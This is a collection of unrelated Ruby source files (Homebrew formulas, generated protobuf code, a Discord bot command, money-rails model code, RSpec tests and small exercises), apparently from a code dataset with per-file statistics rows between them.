sha1 "937cc1c35c6919b8bd2d5d066dbba8ac003b4d81" => :mountain_lion
sha1 "f3a47568c580ee6ec21437f66ba3ea748fe12df1" => :lion
end
resource "man" do
url "https://www.kernel.org/pub/software/scm/git/git-manpages-2.0.1.tar.gz"
sha1 "f22b9d9d2b6bbd8866887dd9ff9e34d2018af2dd"
end
resource "html" do
url "https://www.kernel.org/pub/software/scm/git/git-htmldocs-2.0.1.tar.gz"
sha1 "9cb4ef660a667fe68ee3c81f5a2bdc0689c4dd47"
end
option 'with-blk-sha1', 'Compile with the block-optimized SHA1 implementation'
option 'without-completions', 'Disable bash/zsh completions from "contrib" directory'
option 'with-brewed-openssl', "Build with Homebrew OpenSSL instead of the system version"
option 'with-brewed-curl', "Use Homebrew's version of cURL library"
option 'with-brewed-svn', "Use Homebrew's version of SVN"
option 'with-persistent-https', 'Build git-remote-persistent-https from "contrib" directory'
depends_on 'pcre' => :optional
depends_on 'gettext' => :optional
depends_on 'openssl' if build.with? 'brewed-openssl'
depends_on 'curl' if build.with? 'brewed-curl'
depends_on 'go' => :build if build.with? 'persistent-https'
depends_on 'subversion' => 'perl' if build.with? 'brewed-svn'
def install
# If these things are installed, tell Git build system to not use them
ENV['NO_FINK'] = '1'
ENV['NO_DARWIN_PORTS'] = '1'
ENV['V'] = '1' # build verbosely
ENV['NO_R_TO_GCC_LINKER'] = '1' # pass arguments to LD correctly
ENV['PYTHON_PATH'] = which 'python'
ENV['PERL_PATH'] = which 'perl'
if build.with? 'brewed-svn'
ENV["PERLLIB_EXTRA"] = "#{Formula["subversion"].prefix}/Library/Perl/5.16/darwin-thread-multi-2level"
elsif MacOS.version >= :mavericks
ENV["PERLLIB_EXTRA"] = %W{
#{MacOS.active_developer_dir}
/Library/Developer/CommandLineTools
/Applications/Xcode.app/Contents/Developer
}.uniq.map { |p|
"#{p}/Library/Perl/5.16/darwin-thread-multi-2level"
}.join(":")
end
unless quiet_system ENV['PERL_PATH'], '-e', 'use ExtUtils::MakeMaker'
ENV['NO_PERL_MAKEMAKER'] = '1'
end
ENV['BLK_SHA1'] = '1' if build.with? 'blk-sha1'
if build.with? 'pcre'
ENV['USE_LIBPCRE'] = '1'
ENV['LIBPCREDIR'] = Formula['pcre'].opt_prefix
end
ENV['NO_GETTEXT'] = '1' if build.without? 'gettext'
ENV['GIT_DIR'] = cached_download/".git" if build.head?
system "make", "prefix=#{prefix}",
"sysconfdir=#{etc}",
"CC=#{ENV.cc}",
"CFLAGS=#{ENV.cflags}",
"LDFLAGS=#{ENV.ldflags}",
"install"
bin.install Dir["contrib/remote-helpers/git-remote-{hg,bzr}"]
# Install the OS X keychain credential helper
cd 'contrib/credential/osxkeychain' do
system "make", "CC=#{ENV.cc}",
"CFLAGS=#{ENV.cflags}",
"LDFLAGS=#{ENV.ldflags}"
bin.install 'git-credential-osxkeychain'
system "make", "clean"
end
# Install git-subtree
cd 'contrib/subtree' do
system "make", "CC=#{ENV.cc}",
"CFLAGS=#{ENV.cflags}",
"LDFLAGS=#{ENV.ldflags}"
bin.install 'git-subtree'
end
if build.with? 'persistent-https'
cd 'contrib/persistent-https' do
system "make"
bin.install 'git-remote-persistent-http',
'git-remote-persistent-https',
'git-remote-persistent-https--proxy'
end
end
if build.with? 'completions'
# install the completion script first because it is inside 'contrib'
bash_completion.install 'contrib/completion/git-completion.bash'
bash_completion.install 'contrib/completion/git-prompt.sh'
zsh_completion.install 'contrib/completion/git-completion.zsh' => '_git'
cp "#{bash_completion}/git-completion.bash", zsh_completion
end
(share+'git-core').install 'contrib'
# We could build the manpages ourselves, but the build process depends
# on many other packages, and is somewhat crazy, this way is easier.
man.install resource('man')
(share+'doc/git-doc').install resource('html')
# Make html docs world-readable
chmod 0644, Dir["#{share}/doc/git-doc/**/*.{html,txt}"]
chmod 0755, Dir["#{share}/doc/git-doc/{RelNotes,howto,technical}"]
end
def caveats; <<-EOS.undent
The OS X keychain credential helper has been installed to:
#{HOMEBREW_PREFIX}/bin/git-credential-osxkeychain
The 'contrib' directory has been installed to:
#{HOMEBREW_PREFIX}/share/git-core/contrib
EOS
end
test do
HOMEBREW_REPOSITORY.cd do
assert_equal 'bin/brew', `#{bin}/git ls-files -- bin`.strip
end
end
end
| 34.721088 | 107 | 0.650274 |
62581ff16c9468f71d8802e086997817db20ffc0 | 1,157 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads/v7/errors/user_data_error.proto
require 'google/api/annotations_pb'
require 'google/protobuf'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/ads/googleads/v7/errors/user_data_error.proto", :syntax => :proto3) do
add_message "google.ads.googleads.v7.errors.UserDataErrorEnum" do
end
add_enum "google.ads.googleads.v7.errors.UserDataErrorEnum.UserDataError" do
value :UNSPECIFIED, 0
value :UNKNOWN, 1
value :OPERATIONS_FOR_CUSTOMER_MATCH_NOT_ALLOWED, 2
value :TOO_MANY_USER_IDENTIFIERS, 3
value :USER_LIST_NOT_APPLICABLE, 4
end
end
end
module Google
module Ads
module GoogleAds
module V7
module Errors
UserDataErrorEnum = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v7.errors.UserDataErrorEnum").msgclass
UserDataErrorEnum::UserDataError = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v7.errors.UserDataErrorEnum.UserDataError").enummodule
end
end
end
end
end
| 35.060606 | 178 | 0.750216 |
33b6ba88ec4342e6a13d47800de06b726ff121ea | 3,975 | class DockerCloud < Formula
desc "SaaS to build, deploy and manage Docker-based applications"
homepage "https://cloud.docker.com/"
url "https://files.pythonhosted.org/packages/78/75/511a967ccabff691b57f97bde04cff29af2f493c6ec91a5f57c42badc3b0/docker-cloud-1.0.9.tar.gz"
sha256 "dcddda43b2e9acbadcc3b658a61a35a413a5e623513c72c35c990e6ed15b4f8e"
bottle do
cellar :any
sha256 "809594637760e2118111760fee5b298ee528dd862f845055a8f0e2a03aee10b5" => :high_sierra
sha256 "b5337ce18f9053667a61f4873e3d1e8b7f910b0a668505c853531be48b95428a" => :sierra
sha256 "90b1feb11ccb54a1481a2c23df1c70762b346d0907b7f873296b70fb6774b763" => :el_capitan
sha256 "b683caaa05a93da2766af75daf474ef76a488dec1fc7c321e067ffc084f7e388" => :x86_64_linux
end
depends_on :python if MacOS.version <= :snow_leopard
depends_on "libyaml"
resource "ago" do
url "https://files.pythonhosted.org/packages/83/1a/17e89f0be2cf69e17fbc96012bd6a2bf6d88a8fd3ac79854cc7007971943/ago-0.0.9.tar.gz"
sha256 "18ab19c41374e6eb55fd9b9d19e988c6dd7033818bb3cd7600269475ba657601"
end
resource "backports.ssl_match_hostname" do
url "https://files.pythonhosted.org/packages/76/21/2dc61178a2038a5cb35d14b61467c6ac632791ed05131dda72c20e7b9e23/backports.ssl_match_hostname-3.5.0.1.tar.gz"
sha256 "502ad98707319f4a51fa2ca1c677bd659008d27ded9f6380c79e8932e38dcdf2"
end
resource "future" do
url "https://files.pythonhosted.org/packages/00/2b/8d082ddfed935f3608cc61140df6dcbf0edea1bc3ab52fb6c29ae3e81e85/future-0.16.0.tar.gz"
sha256 "e39ced1ab767b5936646cedba8bcce582398233d6a627067d4c6a454c90cfedb"
end
resource "python-dateutil" do
url "https://files.pythonhosted.org/packages/51/fc/39a3fbde6864942e8bb24c93663734b74e281b984d1b8c4f95d64b0c21f6/python-dateutil-2.6.0.tar.gz"
sha256 "62a2f8df3d66f878373fd0072eacf4ee52194ba302e00082828e0d263b0418d2"
end
resource "python-dockercloud" do
url "https://files.pythonhosted.org/packages/97/66/776e420e7db5d3c20921e88f1cb333737ace862c8d02234367b32d969525/python-dockercloud-1.0.12.tar.gz"
sha256 "83f4c9d8b2a9dc5abb1404d1bf673d6562866db2dad7765d0deffd8622f924a0"
end
resource "PyYAML" do
url "https://files.pythonhosted.org/packages/4a/85/db5a2df477072b2902b0eb892feb37d88ac635d36245a72a6a69b23b383a/PyYAML-3.12.tar.gz"
sha256 "592766c6303207a20efc445587778322d7f73b161bd994f227adaa341ba212ab"
end
resource "requests" do
url "https://files.pythonhosted.org/packages/72/46/4abc3f5aaf7bf16a52206bb0c68677a26c216c1e6625c78c5aef695b5359/requests-2.14.2.tar.gz"
sha256 "a274abba399a23e8713ffd2b5706535ae280ebe2b8069ee6a941cb089440d153"
end
resource "six" do
url "https://files.pythonhosted.org/packages/b3/b2/238e2590826bfdd113244a40d9d3eb26918bd798fc187e2360a8367068db/six-1.10.0.tar.gz"
sha256 "105f8d68616f8248e24bf0e9372ef04d3cc10104f1980f54d57b2ce73a5ad56a"
end
resource "tabulate" do
url "https://files.pythonhosted.org/packages/1c/a1/3367581782ce79b727954f7aa5d29e6a439dc2490a9ac0e7ea0a7115435d/tabulate-0.7.7.tar.gz"
sha256 "83a0b8e17c09f012090a50e1e97ae897300a72b35e0c86c0b53d3bd2ae86d8c6"
end
resource "websocket-client" do
url "https://files.pythonhosted.org/packages/a7/2b/0039154583cb0489c8e18313aa91ccd140ada103289c5c5d31d80fd6d186/websocket_client-0.40.0.tar.gz"
sha256 "40ac14a0c54e14d22809a5c8d553de5a2ae45de3c60105fae53bcb281b3fe6fb"
end
def install
ENV.prepend_create_path "PYTHONPATH", libexec/"vendor/lib/python2.7/site-packages"
resources.each do |r|
r.stage do
system "python", *Language::Python.setup_install_args(libexec/"vendor")
end
end
ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python2.7/site-packages"
system "python", *Language::Python.setup_install_args(libexec)
bin.install Dir[libexec/"bin/*"]
bin.env_script_all_files(libexec/"bin", :PYTHONPATH => ENV["PYTHONPATH"])
end
test do
system "#{bin}/docker-cloud", "container"
end
end
| 45.689655 | 160 | 0.810566 |
012ea8367e405d44809cbe52569f94c5f6d0eacb | 197 | cask 'cheetah3d' do
version :latest
sha256 :no_check
url 'https://cheetah3d.com/download/Cheetah3D.dmg'
name 'Cheetah3D'
homepage 'https://www.cheetah3d.com/'
app 'Cheetah3D.app'
end
| 17.909091 | 52 | 0.715736 |
ff360af373d79e541229f4923f6f397eb47b2391 | 62 | module Travis
class Metrics
VERSION = '2.0.0'
end
end
| 10.333333 | 21 | 0.645161 |
18864e38ed3891f26c3553e9cf20a4cb2634470a | 295 | require_relative '../../lib/controller_base'
class StylesheetsController < ControllerBase
def stylesheet
filename = File.dirname(__FILE__) + '/../stylesheets/stylesheet.css'
res.body = File.read(filename)
res.content_type = 'text/css'
@already_built_response = true
end
end
| 26.818182 | 72 | 0.728814 |
286029f31b52baceda4446cebaadd91062276a86 | 537 | module Bot
module DiscordCommands
# Command for evaluating Ruby code in an active bot.
# Only the `event.user` with matching discord ID of `CONFIG.owner`
# can use this command.
module Eval
extend Discordrb::Commands::CommandContainer
command(:eval, help_available: false) do |event, *code|
break unless event.user.id == CONFIG.owner
begin
eval code.join(' ')
rescue => e
"An error occurred 😞 ```#{e}```"
end
end
end
end
end
| 28.263158 | 71 | 0.588454 |
08ef0f646d567ee1cf3d81928100eb293fde4f2c | 521 | require "rails_helper"
RSpec.describe "routes for Welcome", :type => :routing do
it "routes /admin/welcome to the admin/welcome controller" do
expect(get("/admin/welcome")).
to route_to("admin/welcome#index")
end
it "routes /admin/login to the admin/welcome controller" do
expect(get("/admin/login")).
to route_to("admin/welcome#login")
end
it "routes /admin/logout to the admin/welcome controller" do
expect(get("/admin/logout")).
to route_to("admin/welcome#logout")
end
end
| 27.421053 | 63 | 0.68906 |
871e566afcb77eb8e253621f4e45a322279c1d00 | 1,028 | # Copyright 2011 the original author or authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "vertx"
include Vertx
server = HttpServer.new
# Serve the static resources
server.request_handler do |req|
req.response.send_file("eventbusbridge/index.html") if req.uri == "/"
req.response.send_file("eventbusbridge/vertxbus.js") if req.uri == "/vertxbus.js"
end
# Create a bridge that lets everything through (be careful!)
SockJSServer.new(server).bridge({"prefix" => "/eventbus"}, [{}], [{}])
server.listen(8080)
| 34.266667 | 83 | 0.746109 |
18e9db35df16aa608c7b3ff2424d006d7e68bc13 | 257 | require_relative '../automated_init'
context "Read" do
context "Precision" do
number_text = "1.11e+01"
number = Read.(number_text)
test "All significant figures are preserved" do
assert(number == BigDecimal('11.1'))
end
end
end
| 18.357143 | 51 | 0.669261 |
acdc73c441d45748758de5122b55fe438d5ead8f | 8,210 | require 'active_support/concern'
require 'active_support/core_ext/array/extract_options'
require 'active_support/deprecation/reporting'
module MoneyRails
module ActiveRecord
module Monetizable
extend ActiveSupport::Concern
module ClassMethods
def monetize(field, *args)
options = args.extract_options!
# Stringify model field name
subunit_name = field.to_s
if options[:field_currency] || options[:target_name] ||
options[:model_currency]
ActiveSupport::Deprecation.warn("You are using the old " \
"argument keys of monetize command! Instead use :as, " \
":with_currency or :with_model_currency")
end
# Optional accessor to be run on an instance to detect currency
instance_currency_name = options[:with_model_currency] ||
options[:model_currency] ||
MoneyRails::Configuration.currency_column[:column_name]
instance_currency_name = instance_currency_name &&
instance_currency_name.to_s
# This attribute allows per column currency values
# Overrides row and default currency
field_currency_name = options[:with_currency] ||
options[:field_currency] || nil
name = options[:as] || options[:target_name] || nil
# Form target name for the money backed ActiveModel field:
# if a target name is provided then use it
# if there is a "_{column.postfix}" suffix then just remove it to create the target name
# if none of the previous is the case then use a default suffix
if name
name = name.to_s
elsif subunit_name =~ /#{MoneyRails::Configuration.amount_column[:postfix]}$/
name = subunit_name.sub(/#{MoneyRails::Configuration.amount_column[:postfix]}$/, "")
else
# FIXME: provide a better default
name = [subunit_name, "money"].join("_")
end
# Create a reverse mapping of the monetized attributes
@monetized_attributes ||= {}
@monetized_attributes[name.to_sym] = subunit_name
class << self
def monetized_attributes
@monetized_attributes || superclass.monetized_attributes
end
end unless respond_to? :monetized_attributes
# Include numericality validations if needed.
# There are two validation options:
#
# 1. Subunit field validation (e.g. cents should be > 100)
# 2. Money field validation (e.g. euros should be > 10)
#
# All the options which are available for Rails numericality
# validation, are also available for both types.
# E.g.
# monetize :price_in_a_range_cents, :allow_nil => true,
# :subunit_numericality => {
# :greater_than_or_equal_to => 0,
# :less_than_or_equal_to => 10000,
# },
# :numericality => {
# :greater_than_or_equal_to => 0,
# :less_than_or_equal_to => 100,
# :message => "Must be greater than zero and less than $100"
# }
#
# To disable validation entirely, use :disable_validation, E.g:
# monetize :price_in_a_range_cents, :disable_validation => true
if MoneyRails.include_validations && !options[:disable_validation]
subunit_validation_options =
unless options.has_key? :subunit_numericality
true
else
options[:subunit_numericality]
end
money_validation_options =
unless options.has_key? :numericality
true
else
options[:numericality]
end
# This is a validation for the subunit
validates subunit_name, {
:allow_nil => options[:allow_nil],
:numericality => subunit_validation_options
}
# Allow only Money objects or Numeric values!
validates name.to_sym, {
:allow_nil => options[:allow_nil],
'money_rails/active_model/money' => money_validation_options
}
end
define_method name do |*args|
# Get the cents
amount = send(subunit_name, *args)
# Get the currency object
attr_currency = send("currency_for_#{name}")
# Get the cached value
memoized = instance_variable_get("@#{name}")
# Dont create a new Money instance if the values haven't been changed.
return memoized if memoized && memoized.cents == amount &&
memoized.currency == attr_currency
# If amount is NOT nil (or empty string) load the amount in a Money
amount = Money.new(amount, attr_currency) unless amount.blank?
# Cache and return the value (it may be nil)
instance_variable_set "@#{name}", amount
end
define_method "#{name}=" do |value|
# Lets keep the before_type_cast value
instance_variable_set "@#{name}_money_before_type_cast", value
# Use nil or get a Money object
if options[:allow_nil] && value.blank?
money = nil
else
if value.is_a?(Money)
money = value
else
begin
money = value.to_money(send("currency_for_#{name}"))
rescue NoMethodError
return nil
rescue ArgumentError
raise if MoneyRails.raise_error_on_money_parsing
return nil
end
end
end
# Update cents
send("#{subunit_name}=", money.try(:cents))
money_currency = money.try(:currency)
# Update currency iso value if there is an instance currency attribute
if instance_currency_name.present? &&
self.respond_to?("#{instance_currency_name}=")
send("#{instance_currency_name}=", money_currency.try(:iso_code))
else
current_currency = send("currency_for_#{name}")
if money_currency && current_currency != money_currency
raise "Can't change readonly currency '#{current_currency}' to '#{money_currency}' for field '#{name}'"
end
end
# Save and return the new Money object
instance_variable_set "@#{name}", money
end
define_method "currency_for_#{name}" do
if instance_currency_name.present? &&
self.respond_to?(instance_currency_name) &&
send(instance_currency_name).present? &&
Money::Currency.find(send(instance_currency_name))
Money::Currency.find(send(instance_currency_name))
elsif field_currency_name
Money::Currency.find(field_currency_name)
elsif self.class.respond_to?(:currency)
self.class.currency
else
Money.default_currency
end
end
define_method "#{name}_money_before_type_cast" do
instance_variable_get "@#{name}_money_before_type_cast"
end
# Hook to ensure the reset of before_type_cast attr
# TODO: think of a better way to avoid this
after_save do
instance_variable_set "@#{name}_money_before_type_cast", nil
end
end
def register_currency(currency_name)
# Lookup the given currency_name and raise exception if
# no currency is found
currency_object = Money::Currency.find currency_name
raise(ArgumentError, "Can't find #{currency_name} currency code") unless currency_object
class_eval do
@currency = currency_object
class << self
attr_reader :currency
end
end
end
end
end
end
end
| 36.981982 | 119 | 0.578685 |
21a0c9a23e70ff225a96b39552534e7055662289 | 1,378 | class Scorecard
def initialize
@scorecard = {
ones: 0,
twos: 0,
threes: 0,
fours: 0,
fives: 0,
sixes: 0,
three_of_a_kind: 0,
four_of_a_kind: 0,
full_house: 0,
small_straight: 0,
large_straight: 0,
yahtzee: 0,
chance: 0
}
@bonus = 0
@yahtzee_bonus = 0
end
def scorecard
@scorecard
end
def bonus
@bonus
end
def yahtzee_bonus
@yahtzee_bonus
end
def display_scorecard
@scorecard.each do |category, value|
if category == :three_of_a_kind
category = "Three-of-a-kind"
elsif category == :four_of_a_kind
category = "Four-of-a-kind"
else
category = category.to_s.gsub(/_/, ' ')
end
puts "#{category.capitalize}: #{value}"
end
end
def is_full
all_scores = @scorecard.values
all_scores.any?(0) ? false : true
end
def part_one_total
total = 0
lower_half = [@scorecard[:ones], @scorecard[:twos], @scorecard[:threes], @scorecard[:fours], @scorecard[:fives], @scorecard[:sixes]]
lower_half.each do |value|
unless value == "X"
total += value
end
end
total
end
def grand_total
all_valid_scores = @scorecard.values.select {|value| value != "X"}
subtotal = all_valid_scores.reduce(:+)
subtotal + @bonus + @yahtzee_bonus
end
end | 19.685714 | 136 | 0.591437 |
5dce89db49a98b06eea0e42d6616794124ad0884 | 118 | require 'test_helper'
class IdeaTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 14.75 | 40 | 0.694915 |
91f35dbb7d3a67bcd15bf595608a58f2d05987ef | 267 | class RoomsController < ApplicationController
def new
end
def create
redirect_to room_path(42)
end
def show
@client = Client.new(id: SecureRandom.uuid)
cookies.encrypted[:client_id] = @client.id
@room = Room.new(id: params[:id])
end
end
| 17.8 | 47 | 0.689139 |
33df1131cb0b6556174ea2894bdd491d50090e20 | 1,238 | require 'abstract_unit'
require 'action_controller/integration'
require 'action_controller/routing'
unless defined? ApplicationController
class ApplicationController < ActionController::Base
end
end
class UploadTestController < ActionController::Base
session :off
def update
SessionUploadTest.last_request_type = ActionController::Base.param_parsers[request.content_type]
render :text => "got here"
end
end
class SessionUploadTest < ActionController::IntegrationTest
FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
class << self
attr_accessor :last_request_type
end
# def setup
# @session = ActionController::Integration::Session.new
# end
def test_post_with_upload
uses_mocha "test_post_with_upload" do
Dependencies.stubs(:load?).returns(false)
with_routing do |set|
set.draw do |map|
map.update 'update', :controller => "upload_test", :action => "update", :method => :post
end
params = { :uploaded_data => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg") }
post '/update', params, :location => 'blah'
assert_equal(:multipart_form, SessionUploadTest.last_request_type)
end
end
end
end
| 28.136364 | 101 | 0.716478 |
613f1a41b6efc6ec839d1a04f5302bccf4f9f36d | 210 | require "application_system_test_case"
class IndustriesTest < ApplicationSystemTestCase
# test "visiting the index" do
# visit industries_url
#
# assert_selector "h1", text: "Industry"
# end
end
| 21 | 48 | 0.738095 |
21afcb42bb50e226badb1b2de1e31a24f26158aa | 144 | def fizzbuzz(int)
if (int % 5 == 0) && (int % 3 == 0)
"FizzBuzz"
elsif int % 5 == 0
"Buzz"
elsif int % 3 == 0
"Fizz"
else
end
end | 14.4 | 37 | 0.5 |
e8e5781c3f42aac4593802d608be1e5b833a046b | 9,079 | # coding: utf-8
require "spec_helper"
describe NginxUtils::CLI do
describe "#status" do
let(:result) {
{
active_connections: 1,
accepts: 4,
handled: 5,
requests: 51,
reading: 1,
writing: 3,
waiting: 2
}
}
before {NginxUtils::Status.should_receive(:get).and_return(result)}
it "default output" do
args = ["status"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("Active Connections: 1\nAccepts: 4 Handled: 5 Requests: 51\nReading: 1 Writing: 3 Waiting: 2\n")
end
it "only value output" do
args = ["status", "--only_value"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("1\t4\t5\t51\t1\t3\t2\n")
end
end
describe "#logrotate" do
let!(:rotate) {
rotate = double("lotate mock")
rotate.should_receive(:execute).and_return(true)
rotate
}
it "logrotate should be execute" do
NginxUtils::Logrotate.should_receive(:new).and_return(rotate)
args = ["logrotate"]
NginxUtils::CLI.start(args)
end
it "debug option" do
options = {"debug" => true}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "-d"]
NginxUtils::CLI.start(args)
end
it "script_log option" do
options = {"script_log" => "/var/log/nginx_rotate.log"}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "--script_log", "/var/log/nginx_rotate.log"]
NginxUtils::CLI.start(args)
end
it "log_level option" do
options = {"log_level" => "warn"}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "--log_level", "warn"]
NginxUtils::CLI.start(args)
end
it "root_dir option" do
options = {"root_dir" => "/usr/local/nginx_other"}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "--root_dir", "/usr/local/nginx_other"]
NginxUtils::CLI.start(args)
end
it "target_logs option" do
options = {"target_logs" => "*_log"}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "--target_logs", "*_log"]
NginxUtils::CLI.start(args)
end
it "retention option" do
options = {"retention" => "30"}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "--retention", "30"]
NginxUtils::CLI.start(args)
end
it "pid_file option" do
options = {"pid_file" => "/var/run/nginx.pid"}
NginxUtils::Logrotate.should_receive(:new).with(options).and_return(rotate)
args = ["logrotate", "--pid_file", "/var/run/nginx.pid"]
NginxUtils::CLI.start(args)
end
end
describe "#create_vhost" do
let!(:vhost) {
vhost_mock = double("vhost mock")
vhost_mock.should_receive(:config).and_return("virtual host configuration")
vhost_mock
}
it "output for stdout" do
NginxUtils::VirtualHost.should_receive(:new).and_return(vhost)
args = ["create_vhost"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "vhost_type option" do
options = {"vhost_type" => "unicorn"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-T", "unicorn"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "destination option" do
options = {"destination" => "/usr/local/rails/app/tmp/unicorn.sock"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-D", "/usr/local/rails/app/tmp/unicorn.sock"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "prefix option" do
options = {"prefix" => "/opt/nginx"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-p", "/opt/nginx"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "server_name option" do
options = {"server_name" => "nginx_utils.example.com"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-n", "nginx_utils.example.com"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "root option" do
options = {"root" => "/var/lib/nginx/www"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-d", "/var/lib/nginx/www"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "index option" do
options = {"index" => "index.rb"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-i", "index.rb"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "auth_basic option" do
options = {"auth_basic" => "Auth"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-r", "Auth"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "auth_basic_user_file option" do
options = {"auth_basic_user_file" => "/var/lib/nginx/user"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "-u", "/var/lib/nginx/user"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "only_http option" do
options = {"only_http" => true}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--only_http"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "only_https option" do
options = {"only_https" => true}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--only_https"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "ssl_certificate option" do
options = {"ssl_certificate" => "/var/lib/nginx/vhosts/example.com/ssl.crt/server.crt"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--ssl_certificate", "/var/lib/nginx/vhosts/example.com/ssl.crt/server.crt"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "ssl_certificate_key option" do
options = {"ssl_certificate_key" => "/var/lib/nginx/vhosts/example.com/ssl.key/server.key"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--ssl_certificate_key", "/var/lib/nginx/vhosts/example.com/ssl.key/server.key"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "log_dir option" do
options = {"log_dir" => "/var/log"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--log_dir", "/var/log"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "access_log_format option" do
options = {"access_log_format" => "combined"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--access_log_format", "combined"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
it "error_log_level option" do
options = {"error_log_level" => "error"}
NginxUtils::VirtualHost.should_receive(:new).with(options).and_return(vhost)
args = ["create_vhost", "--error_log_level", "error"]
expect(
capture(:stdout) {
NginxUtils::CLI.start(args)
}
).to eq("virtual host configuration\n")
end
end
end
| 31.744755 | 110 | 0.607225 |
f8c32aaf87cc1cdceb8fb61193675c66713bfe88 | 117 | require 'test_helper'
class CveTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 14.625 | 39 | 0.692308 |
1c389606fbea157879d39e572a56204e264a633b | 152 | # frozen_string_literal: true
# typed: true
# compiled: true
def foo(a, b = 2, k:, g:6, **args)
puts a, b, k, g, args.inspect
end
foo(1, k: 3, y: 7)
| 16.888889 | 34 | 0.605263 |
265d6185110a296bef5f6f0f8728369f85598359 | 1,674 | # frozen_string_literal: true
module Types
module DesignManagement
class VersionType < ::Types::BaseObject
# Just `Version` might be a bit to general to expose globally so adding
# a `Design` prefix to specify the class exposed in GraphQL
graphql_name 'DesignVersion'
description 'A specific version in which designs were added, modified or deleted'
authorize :read_design
field :id, GraphQL::ID_TYPE, null: false,
description: 'ID of the design version.'
field :sha, GraphQL::ID_TYPE, null: false,
description: 'SHA of the design version.'
field :designs,
::Types::DesignManagement::DesignType.connection_type,
null: false,
description: 'All designs that were changed in the version.'
field :designs_at_version,
::Types::DesignManagement::DesignAtVersionType.connection_type,
null: false,
description: 'All designs that are visible at this version, as of this version.',
resolver: ::Resolvers::DesignManagement::Version::DesignsAtVersionResolver
field :design_at_version,
::Types::DesignManagement::DesignAtVersionType,
null: false,
description: 'A particular design as of this version, provided it is visible at this version.',
resolver: ::Resolvers::DesignManagement::Version::DesignsAtVersionResolver.single
field :author, Types::UserType, null: false, description: 'Author of the version.'
field :created_at, Types::TimeType, null: false,
description: 'Timestamp of when the version was created.'
end
end
end
| 39.857143 | 107 | 0.672043 |
ffa1ebce7f0bdccb63ab272224a4f9e3078b111d | 9,428 | # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
require 'date'
require 'logger'
